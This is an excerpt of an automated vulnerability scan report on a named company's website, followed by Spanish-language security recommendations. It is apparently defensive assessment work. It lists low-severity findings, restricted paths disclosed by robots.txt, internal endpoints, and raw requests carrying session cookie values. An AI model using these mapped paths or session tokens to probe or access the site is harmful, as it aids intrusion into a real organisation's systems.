Date: Sun, 11 Dec 2016 20:10:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 9862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
13. Robots.txt file 
Previous  Next 
1.223 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/robots.txt


1.224 Issue detail
The web server contains a robots.txt file. 

1.225 Issue background
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site that robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

1.226 Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.
1.227 Request 1
GET /robots.txt HTTP/1.1
Host: www.grupoq.co.cr
Connection: close

1.228 Response 1
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 08:13:12 GMT
Server: Apache
Last-Modified: Mon, 11 Mar 2013 19:57:46 GMT
ETag: "34133d-16b-4d7ab9630c280"
Accept-Ranges: bytes
Content-Length: 363
X-Powered-By: PleskLin
Connection: close
Content-Type: text/plain

User-agent: * 

Disallow: /config
Disallow: /inc
Disallow: /lib
Disallow: /sql
Disallow: /tpl
Disallow: /tpl
Disallow: /source
Disallow: /usados
Disallow: /usados_sap
Disallow: /v2
Disallow: /sap_t
...[SNIP]...
14. HTML does not specify charset 
Previous 

There are 3 instances of this issue: 
· /mi_cotizacion/sala_de_ventas.php
· /qrm/clean.php
· /qrm/index.php
1.229 Issue description
If a response states that it contains HTML content but does not specify a character set, then the browser may analyze the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of affected responses, and the context in which they appear, to determine whether any vulnerability exists. 

1.230 Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognized character set, for example charset=ISO-8859-1. 
14.1. http://www.grupoq.co.cr/mi_cotizacion/sala_de_ventas.php 
Previous  Next 

1.231 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/mi_cotizacion/sala_de_ventas.php


1.232 Request 1
GET /mi_cotizacion/sala_de_ventas.php?id=158 HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
X-Client-Data: CJW2yQEIorbJAQjEtskBCKmdygE=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close

1.233 Response 1
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 02:19:13 GMT
Server: Apache
Set-Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5463
Connection: close
Content-Type: text/html

<table width="575" border="0" cellspacing="1" cellpadding="1" class="tb_vendedor" style="font-family:Verdana, Geneva, sans-serif; font-size:12px;">
<tr>
   <td colspan="2" style="height:50px; backgr
...[SNIP]...
14.2. http://www.grupoq.co.cr/qrm/clean.php 
Previous  Next 
1.234 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/clean.php


1.235 Request 1
GET /qrm/clean.php HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.236 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 08:38:08 GMT
Server: Apache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 15000

siosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosiosi
...[SNIP]...
14.3. http://www.grupoq.co.cr/qrm/index.php 
Previous 
1.237 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/index.php


1.238 Request 1
GET /qrm/index.php?action=cda_json_week_calendar&id=&c_alistamiento=undefined&flw=on&agenda=undefined&start=1480888800&end=1481493600 HTTP/1.1
Host: www.grupoq.co.cr
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.239 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 20:10:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 31900

[{"id":75435,"start":"2016-12-05T09:00","end":"2016-12-05T09:30:00","inventario":"0002383099","color":"#bbbbbb","procedencia":""},{"id":75519,"start":"2016-12-05T12:00","end":"2016-12-05T13:00:00","in
...[SNIP]...

Report generated by ToBeSecurity
Recomendaciones:

1. Mejorar el proceso de Implementación de parches.

2. Implementar en la red un escaniador de vulnerabilidades tales como Nessus (comercial muy recomendable) Openvas (open source,menos recomendabable).

3. Password no menos de 15 caracteres (usuarios y servidores). http://www.blackhillsinfosec.com/?p=5460
a. Active Directory implementar claves con Frases con 2012

4. Accesos por RDC diferenciado por grupos de servidores según su criticidad (con al menos 15 a 20 caracteres)
5. Realizar Hardening de los servidores.

6. Unir las redes-sería más fácil administrar la seguridad de esa forma.

a. Segregar los servicios entre Subredes

7. Colocar los servidores detrás de un IPS.

8. Considerar implementar LAPS https://technet.microsoft.com/en-us/library/security/3062591.aspx
a. Solución de Microsoft que puedes configurar en cada servidor otra contraseña para usuario administrador
b. Investigar si es gratis
9. Filtrar tráfico saliente del Firewall hacia el internet, hoy en día los Firewalls no filtran nada del tráfico saliente desde la red interna hacia el internet. 

a. Consultar a Network Secure si es posible

b. Reunión con Network Secure para consultas y preguntas para implementar seguridad (parte de la ocnsultoria)

10. Considerar implementar producto como cyberark o https://duo.com/.

a. Genera alertas si alguien ha utilizado usuarios administradores

b. Muy Caro, mejor ocupar LAPS

11. Segmentar la red. 

12. Configurar WPA2-RADIUS para autenticación de la red WIFI.

13. Implementar SIEM para centralizar los logs.

14. Reliazar una consultoria en temas de seguridad informática de forma urgente y un Ethical Hacking profundo y dedicado solo a la pagina web

15. Detección de placas o mac en modo promiscuo en la red

16. Control de conexión a puertos en swithces
17. Implementar Ingeniería social

a. Videos al iniciar sesión para concientizar a los usaurios

i. No compartir contraseñas

ii. Penas por compartir información sensible de la empresa

iii. Acuerdos de confidencialidad
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